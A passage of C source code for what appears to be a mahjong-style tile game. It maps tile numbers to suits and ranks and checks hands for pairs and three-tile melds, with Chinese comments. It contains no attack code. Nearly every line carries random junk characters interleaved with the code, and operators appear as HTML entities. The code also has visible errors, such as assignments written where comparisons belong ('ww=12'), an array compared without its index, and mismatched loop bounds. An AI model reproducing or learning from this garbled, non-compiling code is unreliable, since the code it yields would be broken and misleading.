' G' V  a: ^' ?0 {else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
+ }* k+ k8 C8 r' v2 H) v7 x6 P9 v  `: _logoo=4;
, E' x$ a! a; Belse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
' ^& W+ q* |( S* w2 C! x( \+ ~logoo=5;
, L0 G+ `' N3 pelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
; c- P5 H! }# B, N+ _logoo=6;. m" x5 o: y/ ?. e0 H
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
/ F6 h% x) r4 m: d6 G: o* a* ~logoo=7;
$ s3 W. _, C; F% G1 Gelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)4 }3 x  V) M5 b% o+ W+ i
logoo=8;
# s. j6 w0 L- e' y% g+ [; J" Z' gelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
# ^' J5 @% S6 ^" Z% Q" d# d  Mlogoo=9;# y* i5 t! |$ d& T4 `0 a7 H
}
4 w( t, Z+ [, M3 j- x% Y* ]else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)) P; \$ I1 n8 P( i0 h' {7 b% b/ O
{$ C, u2 n  u, ?
logo=3;8 g4 p! ^9 E2 H' Y8 `2 C( ^
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)+ `( C  b$ D2 ^: v3 Z
logoo=1;  e) Z0 t& T6 @6 Y0 Z4 f* Z
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)* Y6 s* H  b6 J/ ?- w" s. a
logoo=2;% q0 y0 \* h3 h* }) S5 i
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
# o# i% b0 g: ?: z) K1 Q, Plogoo=3;
! f. M$ ]1 g+ Q! jelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
7 W" B7 O! ~- u) Wlogoo=4;8 F, I# G- C8 A+ P1 t2 X
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)1 I% s8 C; W6 q: G' i
logoo=5;, F1 f  c- @3 Z' T! {* K
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)8 A7 ^+ C" j7 u3 v2 u
logoo=6;+ |% _1 n7 v9 p! {5 k. k( `
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)+ L: H* a5 ]* C4 _
logoo=7;9 z- X) g5 l) ~
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)( A$ p, J1 g) X; m( X$ z
logoo=8;8 U! x4 l; ~8 Z) c  Q* H  A
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
+ m4 V9 z% O/ A7 e, O+ vlogoo=9;  N7 o' m9 w% p# n0 g
}
0 i! p6 ~; X6 P: H, e3 I0 {else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)7 n. [0 w6 Q8 W1 V$ v
{  Z1 L+ Z: j  L: \" }5 E! F7 s
logo=4;
$ }/ f  F  N# G. N* h2 ^6 Zif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
- |- _1 r" z5 w( M& C( c  r* H# [logoo=1;/ ~" f) P, g! k' f0 q6 w: S6 r) n" K
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112). r$ }7 K/ H9 _& r% O2 V' {- v* Q
logoo=2;, Y8 h/ R: c) H/ Z
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
" _. T9 X) h. u/ e0 D  R! \logoo=3;7 j; e9 T. o/ b# \4 C9 M4 h
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
' ~0 R2 @! X( x' U1 {" a: ilogoo=4;
# d4 n/ G6 N; ]$ Q$ jelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)! G  h5 X6 i2 N0 p; v( w; V$ Z. ^+ r
logoo=5;: I1 e) E1 p/ x( h
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)' F5 m2 `8 B0 f
logoo=6;& f: O& i/ q8 ^$ K# R
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)" v. X* ?8 E( c1 \- J3 g. B: o5 ^$ X
logoo=7;
* F( ~4 ^" U: o2 u5 ~" b}+ p0 i  |, G  \/ T9 [# D, s8 p* m
while(b&lt;=me.m)
; G4 g. ]; ?( O{; o7 E3 j  N: w' _  b0 I
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
  Z7 g) p+ R% V2 i{7 I' s4 p  E( e
lg=1;0 u4 s# V6 s9 P# Z1 k5 @% |$ j
me.pp.d[0]=1;
! O" S( f; A3 d2 K! xif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)1 q8 n! q5 s! |1 c' L1 B2 z+ q
{9 N! m% f, z" E3 ~$ W4 s; N9 {" m# x
lgg=1;2 Z$ [7 k! m, w
me.pp.d[1]=1;
" w# F! J% }$ {! g9 V4 e}
* Y6 I8 j, K% ]8 n  Welse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
7 i( `* N/ {0 I( Z' b8 Y9 }6 ~. Q{" ^* Y# g, W2 J* U; F& b/ a7 e3 |
lgg=2;- u8 u* L/ e3 F) ?$ K/ V* A
me.pp.d[1]=2;) G4 h- F, b- ^8 E# }0 F
}
  I  E0 Q( N8 Z$ _else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
$ v: k( W& B* P0 T' b{
  A+ x4 K/ D$ _, ]3 n/ Plgg=3;
. K0 h5 E& v) W" Ome.pp.d[1]=3;
! [9 g: z) u8 h" T; Q5 h0 |" Y}
2 B9 f0 Q$ r% X3 A3 P! Uelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
# ?+ C9 c' u/ V4 g7 D1 q+ Y9 l{
, F/ X4 I! A  {lgg=4;
( [. {( X7 D- _- G- P7 p" d, Pme.pp.d[1]=4;
% X4 `* s% |$ ]4 |8 Q}1 Q9 W* C7 K- t0 ~! h5 w2 }
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16). i9 C' j7 J+ _4 _- J0 V
{- j; k, R% j3 x7 z
lgg=5;
( r( b: S4 i( p1 Y1 k' [me.pp.d[1]=5;
/ P  V( d$ b& x# X7 Z}
) R$ m3 R' `. ~3 {0 velse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)8 m9 V. G! q' G. `* K$ K+ t8 F
{
: l/ }2 }; `% x5 o( M4 olgg=6;
9 f6 b8 V1 s6 S' qme.pp.d[1]=6;
, ~& w$ s# }6 O+ ~' h2 Q( q! T6 m}
" e- g0 L8 {! e* r% d. n  g/ {else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
# E& q9 L7 h5 ]) a: n7 M6 @{
0 A8 J9 @- }9 A+ v1 I" u, [6 klgg=7;6 P( E! y$ g; `9 B0 R/ S1 ?7 M
me.pp.d[1]=7;8 u: U  g  V9 \3 i- Q- f% ?6 z
}) C' ^$ c# z. \5 c# C
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)- y. d1 f4 r% M3 A
{
# {" t* i# A" Y( {! glgg=8;' g5 o6 l4 V0 F2 n3 l$ }
me.pp.d[1]=8;' I+ I- S9 \* s. f) U! O5 W
}
* @2 n- _3 _/ Velse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
- v& c6 g! n/ O' ?{
) T* H: U( Y3 |7 z- xlgg=9;' M- P$ k- S7 N: J* Q0 B: S/ O4 e
me.pp.d[1]=9;
7 j; K% y) c1 F$ y0 B6 l! i/ c}) c$ O1 U# ]- h3 F6 h* r
}1 ^& N+ S; c! ^, B
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)  V7 }( V" t6 |3 p! d) t6 Y5 o
{
: A2 q) V( D; e5 r  t6 ]9 `lg=2;6 {" `+ W" }/ P
me.pp.d[0]=2;! Z' ]9 I& L  F) c( n7 L
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
6 G1 K6 T: S) H, y; O9 T' ^( ?{, Q* T( H' C" M- F) ~
lgg=1;9 Q; Z% @, e1 o) u& y8 a
me.pp.d[1]=1;! Y/ h( j  C+ F$ [+ h
}! z7 Z4 a& L( {- `
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
* X: _! s) H  n1 ~- [( Y{
% D4 l9 r. j6 N8 R: mlgg=2;
0 k# J' ^/ o6 Nme.pp.d[1]=2;
8 _) M2 _" t, G9 ]}$ v7 R) a" K2 K
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
6 @, I% i. a) `  B. u' \{
/ o$ L. g3 V% Z6 m. |9 T# K+ xlgg=3;
" S* ~* ]: J+ Z8 G6 s( k3 rme.pp.d[1]=3;
" _" V3 H, e6 B3 |1 U}$ F/ d, c/ e, [
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
& j6 N5 I4 _  F9 Y{
* ?* D3 v7 H6 z  @9 X' N4 nlgg=4;) D9 X  C2 ^( v# D0 {  r
me.pp.d[1]=4;+ G7 M. S  O! {! P2 o' D) K
}
% D" S# V7 e  J5 Z1 q" qelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)% H2 B. B4 h6 g
{  U2 k3 m1 H& G; D
lgg=5;
2 I* n" S* y; ^3 k* u, Xme.pp.d[1]=5;, n1 m5 D$ P5 [9 q! W
}
, w0 u% J. `7 \4 n! q) F, Nelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
& [% Y5 W/ C5 i{0 f) O' J. `# |: e0 {4 G  T
lgg=6;
& \7 O1 `+ F( `; kme.pp.d[1]=6;
$ x: ^4 U$ u" v0 e/ o8 ^/ b7 J) s}
2 f% ^$ G+ c! e0 P$ \( q$ ^, V0 C8 Y4 Nelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)6 x5 x, i: O0 E
{& k1 L% |2 A! s# J- J! A
lgg=7;
# G% U# n2 E/ \9 E# G$ pme.pp.d[1]=7;( C+ ?5 ^* I) o
}. b' O! t0 l# a( Z; t
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)3 {! i. c$ Y0 ]! [' N
{
" j; \! V; s4 ~; slgg=8;
* m# `+ u5 r( V- Ome.pp.d[1]=8;8 w# }/ C% S0 r! e/ W& w8 N
}
# Q8 Q: z; r! }2 p0 s4 K, Felse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
/ x, u$ w- F, k7 r{
' o5 D3 d9 d% k7 r% E* E" Xlgg=9;8 @3 j7 o! e+ ^" ^4 r
me.pp.d[1]=9;
, E  a; S' b  `1 C3 u}
( O+ t) B' w; O4 f* [/ X}
1 L. T" t5 I% H! P+ ielse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
9 n; s1 R; b3 G4 u+ I{, a. v3 _- _" Z& e) L9 \
lg=3;
' b" r# M2 T# gme.pp.d[0]=3;
! M; {* |" \9 `8 |6 f( Rif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
# S% Y* Q3 p  n/ o- C{! Z8 k# m8 p7 r" n
lgg=1;) m* U8 [- `: l3 r( k) u
me.pp.d[1]=1;2 ^; c( s" ?) a2 N4 U. j) X
}
9 Y( S4 V, p3 u8 ~+ r; Selse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)# ]! Q: W! H4 k0 j5 H8 F0 }: [
{, J, W3 y2 g# q, ?5 e2 C/ e7 a
lgg=2;
, C1 L' s3 o; T* [* K4 |. j( Kme.pp.d[1]=2;
" ~9 i  f# ^2 X* m}
. p3 ~' q$ i4 Melse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)  t9 q* |1 o+ @7 U. J5 C
{
2 ^' U6 ~: R! E& S9 N" Mlgg=3;
9 a% M! o3 e1 y8 @2 yme.pp.d[1]=3;
# k6 D/ d3 D! w}5 \3 Q+ R: ~$ z! v  W3 A& k
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)6 ^9 Y2 p  L" l* |4 c
{
! q( l% D3 z/ E) \lgg=4;- x8 N" Z0 P$ W4 B  B3 s
me.pp.d[1]=4;
5 I& T9 Z+ g* u! k4 `}; ?( w# o4 B9 a3 Z! B& ~
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)* p+ X' U2 Q' `. l. J# @8 |+ D
{
; g% ^0 D5 b. Z% h6 p( Vlgg=5;
9 }7 d' D9 D$ w2 M  Z/ B3 ome.pp.d[1]=5;$ ]  g: Q4 F# S4 T7 `1 t
}7 X; R3 F) J* ^
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)8 F/ V- v  h1 A' L, N
{
* H' p- }+ ^! x0 `- elgg=6;
, J1 W" ~3 S+ N8 Kme.pp.d[1]=6;
4 v; c8 T' m7 Q$ a}
, ^" r: b  o) l7 L* eelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96), z2 V* h1 {  O
{) m( e6 _; D4 F+ A; e" q
lgg=7;
. q* L4 C; I! i6 _me.pp.d[1]=7;
( ]! X! e) O  }7 |" P6 W# x}
1 e( G" \4 m; H) L8 V# G* Oelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)7 F" I. t7 m8 }) K. b' y
{2 j) {' X3 _2 ]- K4 v! q
lgg=8;( B9 `6 {- R/ c- z) t, O
me.pp.d[1]=8;" y- _- T6 s3 }5 x# X
}8 l$ p' T2 i+ D% w
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)& u' {5 r( ]. r3 Z5 z
{
9 H3 e5 r1 J; e" K$ Dlgg=9;
- n# |9 e) j& U" d+ Lme.pp.d[1]=9;
( w1 ]9 E* l' U3 x, E& U' C7 Y. L}  {5 I0 _8 \  `* H3 \5 \
}
! c# R$ s+ h& V4 @2 Zelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
! D6 V$ E6 }* P) v& ~0 K{
1 s7 b* U$ Y; s6 k/ Z: \lg=4;: b6 \  ^( \3 V& }
me.pp.d[0]=4;
# U' s2 v' \. ]1 P! Fif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
3 }; @3 i; k9 x* k$ }( z{3 C' p$ m# c2 ^, a- e
lgg=1;& [1 z: A2 o5 b9 ~5 [! N
me.pp.d[1]=1;
, N2 y: \. G! T: ]}
' s% W" V3 y3 `else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
/ f$ k- |  ^0 Z8 L* b{
- g, Y" K3 y$ k8 B$ Jlgg=2;
# z+ P2 F  G0 A) j0 E! zme.pp.d[1]=2;, `  W) g# n* e. L5 O$ f
}
+ r  l! R" D/ s( _( Nelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)4 x9 [* b6 d0 G) x0 U. l& t" \
{) t3 e+ O, |6 @! e: M
lgg=3;; o/ q0 v3 ?: Z+ V0 P
me.pp.d[1]=3;
5 |  y! u! H4 u9 F7 [/ y. ]' L}  }" f3 q) G& j. K' _; j0 N: {
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)* \. g0 M) V: Y5 w( j8 f( C
{% ~( f9 f, c5 n) R
lgg=4;) o: ?$ [; j  j8 y8 F4 ~
me.pp.d[1]=4;
# A) P+ g, J9 W: L3 K' k0 _, R) Y- h- [}+ j$ ]- ?2 B& T" X, Y' l+ G# D& x
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)9 H; n. a/ B+ r
{
- c! O3 p/ k1 s2 f! t% O+ [lgg=5;# D; {* J9 Z4 t% r; m
me.pp.d[1]=5;
! }$ M" v* Q% k% Z  @}+ W8 \- w$ p5 o! w
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
. X9 ?" [9 l! W. d& x3 G- Y{
! j3 C2 f5 m% s1 V; llgg=6;
/ _5 S) h0 G  U2 Z" Wme.pp.d[1]=6;
5 _  J1 t! }* X# r" ?3 s% P}
( F* M. K) v. I3 R  X( Delse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132). h4 _( ?* q( S4 N4 `1 t7 e
{* s( H1 w6 @1 p2 L/ O9 n
lgg=7;
3 T3 y8 u, @5 v2 o, k0 L. t) b0 ome.pp.d[1]=7;
6 h1 F& p5 p- t) Z) X' j5 q}: T' D) l3 b2 _1 x
}% f% W1 G; }! d3 M4 F
}' \5 y7 G* z# \2 ]  _; Q
}
' B: h, ~3 O: j( v- K! F" E' [* Avoid istwo(testt)2 \* ?! C( a! z$ D( j% [
int testt[];6 T) u# r" L' H) J0 }
{ if(testt[0]==testt[1])% F4 Z5 [- B1 U; H: h! D: j2 [
second++;0 T1 g# Z! T* h# n, z) l; m5 j0 N
}# c5 P  g1 p* B% b5 P
void isthree(testt,n)6 r5 x! l6 [, s  Z- w' z$ F' b
int testt[],n=0;/ `& w, N4 _, }7 ?) Q. ^1 _9 o
{ int i,j,flage=0,lianx=0,same=0;
4 |9 w+ P) R: c/ p' E# ]( a* Kn=n/3;
% {) k* z- y+ Efor(j=0;j&lt;n;j++)
/ C& _/ \" q% f! ]3 [" W/ n{
  P) g% |: ?$ k8 Z3 Dfor(i=j*3;i&lt;2+j*3;i++)$ m9 K  A7 G; N6 r& T3 ~: U  R, G
{, b& n" ~) Q- S9 W4 g! S! x+ ]
if(testt==testt[i+1])9 I" }3 J5 |  |) K
same++;
4 x  U/ ]. {9 @; z4 s6 q7 r8 O) \0 kif(testt[i+1]-testt==1)
4 E$ G. M' [- R5 _lianx++;
7 c% [6 m* G6 B  e6 Q, A}
& k8 w6 E/ z" c7 N1 l& S5 ]if(same==2)" S4 X0 I& h; I1 T$ z1 E7 H' N
threes++;
& L  x& t2 A" w' G8 k  l7 rif(lianx==2)
+ f! m# ^# g# X7 }* Sthrees++;  r$ ~) v: H& C" t
same=0;
5 C0 r7 m0 e0 @+ ?2 Ylianx=0;; H) }+ Q. y. Y' X' q
}4 h8 n& F3 `8 n& W" N
}/ v7 V* f4 V0 q$ a+ E# P
void panduan() /*本程序的精髓*/7 a6 L4 B/ B9 A% y3 L
{int data[14];- f: a+ Y: v2 x* X* y
int pw[14];
  d3 |% K' E8 n, ^; dint pt[14];) P; y$ {5 ?0 r- ^
int pi[14];
5 p# b5 b0 C# eint pf[14];$ Z& Y8 }$ u* E: i- w1 d
int test[12];
, @1 a2 ]% V6 o) Q+ Mint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
& n9 O2 ~5 X5 Wfor(jj=0;jj&lt;=me.m;jj++)
% s! q. P6 i" C8 X9 j{' R! U: _; X* c% Q( C: o
if(me.pp[jj].d[0]==1)
' Y$ Q+ s( F: ~  v1 C* A, Edata[jj]=me.pp[jj].d[1];
( B, T; I! x9 K8 aif(me.pp[jj].d[0]==2); D3 Q* r& J4 ~- N
data[jj]=me.pp[jj].d[1]+10;, a. u& I9 }3 U$ J6 r. }) E
if(me.pp[jj].d[0]==3)
2 c7 A, R+ `; K. ~  L( x9 xdata[jj]=me.pp[jj].d[1]+20;
7 o; X- ]' N; U7 f' _8 `. Bif(me.pp[jj].d[0]==4)2 E7 C% ?& A: {3 w
data[jj]=me.pp[jj].d[1]+30;
- V) z& Z+ Y. D5 m) ^& k1 J0 W}
) x( K' [" @; K/ q7 S7 iif(logo==2)
1 J& Q/ e) `. p, K9 Q3 a  ~8 \$ iw=logoo+10;7 A) i+ k' x% N0 K! @9 {
if(logo==3)
/ q( j, }. Q( S( [7 q# Zw=logoo+20;6 }4 S0 v9 y( R8 _( C
if(logo==4)
0 A. w, ~* H$ W/ Y! P5 p. |w=logoo+30;: q: E$ [  C& y8 b8 d
data[computer.m+1]=w;
/ Y$ ]7 Y( h. w/ hfor(mm=0;mm&lt;=computer.m;mm++)
& V! K! N) h1 E) h, z3 Zfor(nn=mm;nn&lt;=computer.m;nn++)
9 y+ a+ S/ F' J. F# d# ?if(data[mm]&gt;data[nn+1])5 ^. U6 n+ i2 M3 j* O/ v8 b, F
{
0 F0 _" c1 ?. N7 E. y0 m$ K) u( {/ _tpp=data[mm];
' i- ]3 H( B' Hdata[mm]=data[nn+1];
/ v; T) |9 E6 j/ X% ldata[nn+1]=tpp;8 \4 P; e) a5 b" q5 |2 K& ~& p
}
+ [3 S. _+ H  u) O* rlp=0;
" B$ z5 |* P& P- q; P" \5 N1 Qwhile(lp&lt;=computer.m)
. |4 b5 ^3 C' b3 W, i$ R: w{ if(data[lp]&lt;10)7 k' n3 q4 [" i! v4 R% O
pw[ww++]=data[lp];$ ~  T* }8 C3 H% p5 F8 t
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
, ^8 I6 m$ U- q# v- d/ Ypt[tt++]=data[lp];# p0 V7 i1 A6 `# W7 E
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
4 f, x  H( W0 A* K. Ppi[ii++]=data[lp];
  i# V0 c2 `( m4 j  e% Fif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)& X; m' Z# ^+ }% y' Y4 t! w: {, T
pf[ff++]=data[lp];
2 c9 p* A4 M! E: L6 d% G3 [) ?lp++;
2 m5 x$ b) p$ D7 y6 O4 r: v/ e}, A. n! V7 F( k
if(ww==2)
4 b6 a4 ^3 Y3 iistwo(pw);; k& M. i, R+ p+ m! K3 c! d' r
else if(ww==3)
, S) m: a5 M8 x  {: B7 P+ iisthree(pw,ww);7 B) J/ f0 g, s; U; J% A
else if(ww==5)8 ]- W+ d8 S0 `4 ?
/*pw[5]原始牌数组,假设已经升序排列*/
) {7 E9 b; J" Z8 {; {# \/*test[3]用来放置测试牌的数组*/
! [, r- {* k( k. ~/ f& ]for(i=0;i&lt;4;i++)# c, D. j+ k1 |) z6 I. n7 w% {
{
9 |& Y9 j$ h2 D% L4 i* d3 wfor(j=0;j&lt;2;j++), y2 ]7 K2 {( C" }# b2 h. u5 W
{test[j]=pw[i+j];
& D. Q4 u/ r% c7 K}- U' c0 O  H; w) U0 E2 M6 R
if(istwo(test)). i! R8 \& g0 z  W! p% X) t( d8 p
{ ill=0;! A  }6 i, g) G: D( W: v* A
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
) `* Y8 o( M& ?1 @. E{if(kl==i)+ |, u* H8 z7 i1 G
{
5 j; b: q+ Q" K* R7 tkl=kl+2;
4 E: U; ^" z6 c. ?if(kl==5)
/ e$ T# x+ q8 _2 Kbreak;
7 b- ]5 _% X: ]}8 h, n0 h, P9 l  L
test[ill++]=pw[kl];
- `4 n) W$ ~* g- g& w}& H6 f' R( t0 V+ O
isthree(test);: y+ \7 |6 V& p  O4 h8 B+ U& v
}
- {; r7 e& Z+ p4 A( P/ f2 h. p}
+ b* t; x, Y" P3 Q$ Nelse if(ww==6); m5 m; e( r$ x: C% L$ P8 [: P2 V
isthree(pw,ww);
* R) ^- E5 J" H1 Velse if(ww==8)
" ~; G% F- r1 d5 Z+ Dfor(i=0;i&lt;7;i++)1 Y/ [# D  J8 X& H' ?6 w8 `8 b9 b
{+ b+ d% n  U+ w2 G
for(j=0;j&lt;2;j++)# W' i6 G4 Q! h. P& k
{test[j]=pw[i+j];
9 j  s/ ^* ^: m" Y}4 X& R7 n! q3 r
if(istwo(test))  y7 m. V3 B2 K" T  H! x* V
{ ill=0;
4 |: C$ Y2 i/ o; h8 wfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
; [+ H/ ]) u" \& q+ G; v3 A{if(kl==i)& o6 z9 i5 ]8 i! v0 Q% O! r
{5 L) x4 ~9 G6 y( D8 }- z5 p
kl=kl+2;
4 O2 D- @; d8 j. cif(kl==8)8 j' q% J# M6 H- i6 I3 h
break;
1 ?9 W3 r7 _7 K5 a0 p' x, h! A6 g}
' i0 D4 a5 O* E* O: [: i" Ttest[ill++]=pw[kl];7 @' g* [! `2 Y2 Z
}+ P. r4 m/ X1 T
isthree(test,ww-2);
' O& w4 d7 o* B5 B. K4 t' ~- V5 u( R}
8 b# }& @, L; T8 X+ z4 c}
; l% x6 M" T7 L7 F2 lelse if(ww==9)
, K" g" p% M+ G6 w( ]isthree(pw,ww);
9 J6 ?4 ^8 t: y! {7 xelse if(ww==11)
" y( a7 e2 I' Rfor(i=0;i&lt;10;i++)
5 g, c- L2 |( j{
4 r& s1 e9 f$ _" d/ zfor(j=0;j&lt;2;j++)
  @% q' z! S1 ~) g) H8 n- Y{test[j]=pw[i+j]; / j  B, t0 A  i5 B6 j- A" |; w
}
7 k0 ]/ U! D/ ?6 [, Hif(istwo(test))4 T- [: F( r) X
{ ill=0;
" }: T, e- {: @; w( e+ \( Tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/8 c' ^5 v) c% f* l( J4 y8 K
{if(kl==i)
$ j9 y( p( d0 v  t! W5 r( V1 f{5 Z- V3 P2 w$ t/ R5 }& `) k
kl=kl+2;3 w- `3 H1 B5 Z" z' ?
if(kl==11)
* w% y3 P6 M* b3 ?* wbreak;; K: S' I+ T- k2 l, I  b
}( _. x, y6 X0 K, `/ V4 f* s' m
test[ill++]=pw[kl];/ M& S; Q; @8 {3 U0 p; f$ P
}- G1 v* R( P. u7 u
isthree(test,ww-2);
7 n& _/ c: a1 y* L* p( P& k1 B}
8 L. [7 K- y$ s/ B/ r. v; q+ M}
& o* i% {9 r7 ]2 K2 D4 y- jelse if(ww=12)4 D: {$ C3 i1 ~7 h4 m; W& ~
isthree(pw,ww);
6 k& d% W2 f) relse if(ww=14)8 D& j; Z5 }2 P0 d  G4 Q+ W! k
for(i=0;i&lt;13;i++), c2 ?9 j1 W: W7 v6 D
{
& z2 d: _. }+ u) u2 ?# G$ gfor(j=0;j&lt;2;j++)
/ c) H0 j! h7 U5 p9 v+ [4 c5 V; _2 J{test[j]=pw[i+j];
5 O. @* g. J1 C9 C& P/ m1 e# ]}
3 W* L- X& o4 m0 j# Dif(istwo(test))6 z) ^, c* a$ J: j3 h6 q
{ ill=0;8 G+ P7 p7 c1 b6 ~- p
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' s! b& \% j$ g{if(kl==i)( a7 `. V. l4 h3 R/ M, ]% F* ?* _3 [: W
{
" v2 t' v6 {# ]5 c$ p( fkl=kl+2;# p& o: g+ @9 r) X/ Z: Q9 K
if(kl==14)
% M5 X2 d# S5 m! Qbreak;
, Q- T0 v" z6 [! W6 s}
5 t) F. B% m3 l, i! E+ ktest[ill++]=pw[kl];5 W$ k( v- c0 L' X( k3 M/ |. l
}$ Z+ D0 w  g( @" o
isthree(test,ww-2); ! F) G/ c: y7 o9 Z9 m! y" f
}
% n; M* p9 N4 o5 l4 B) c}
2 _' }# H# J; x) Oif(tt==2)
) r3 G% @2 Y. s& d& `6 b/ V  pistwo(pt);
& d5 D3 y- E9 \$ [" Y1 ?/ ^else if(tt==3), U! [* D& y) Y2 A
isthree(pt,tt);
8 B! y) U, G& H. E9 yelse if(tt==5)
7 w  N: H' d3 z2 `1 m6 z) ?/*pt[5]原始牌数组,假设已经升序排列*/" r! A8 l" X2 ~# U; n" F, ?- ^
/*test[3]用来放置测试牌的数组*/
) a! b* v3 i4 ^" jfor(i=0;i&lt;4;i++)0 z) }& A4 v' _2 x
{, ]6 g5 U+ c9 G2 S
for(j=0;j&lt;2;j++)
4 l2 V0 V" H. F% ]8 R" n3 K{test[j]=pt[i+j];
+ s. I& J6 z* T/ X, C7 A2 r) p4 t}8 ~  c7 Y0 i$ ]9 y
if(istwo(test))% }$ z( H  G( J4 e- ~
{ ill=0;+ S- t! Z3 I. s  Y0 \+ o3 E9 ?
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
9 y" E, e% D2 q( z: d- G{if(kl==i)
9 l) J( a& }8 {: {+ f{
5 ^+ [9 N5 I; K! r% x6 Ikl=kl+2;) S9 N  Z4 C) K! H/ U- L2 L
if(kl==5)1 O5 W7 o# E! p1 e6 P
break;
) L7 o7 _5 j5 m1 Z7 Y}
7 p2 ^6 X4 q8 x  Ptest[ill++]=pt[kl];
3 [4 i8 D: r* D- ^}
$ o& }1 i9 M- f  l" Xisthree(test);
; G- k' J$ p2 t  I+ [}" K) m5 T$ x. G' S9 f: L: V4 z. _
}/ Q% Z  ^* j. `4 w4 d$ P
else if(tt==6)8 i6 M( f5 V- Y) q8 _
isthree(pt,tt);
# a7 r! w# U* b, R  k2 D4 velse if(tt==8)
+ m* J4 p* k1 }0 s1 p* Sfor(i=0;i&lt;7;i++)
- a  j. c* X5 |, p{& t0 I- y0 _% m. u0 U- A
for(j=0;j&lt;2;j++)
2 V) _/ y5 p5 u# p4 A" p{test[j]=pt[i+j];
# v. I" D/ v1 H+ J, @9 _}
7 ~0 a& c' T( G; {5 kif(istwo(test))
* O  y( [" _+ q- t' k6 Q{ ill=0;' f% o( d" w+ L; J& n
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
, o) K. C9 s& {+ K3 o) N1 D{if(kl==i)# T5 f( \$ j7 Y& t8 M
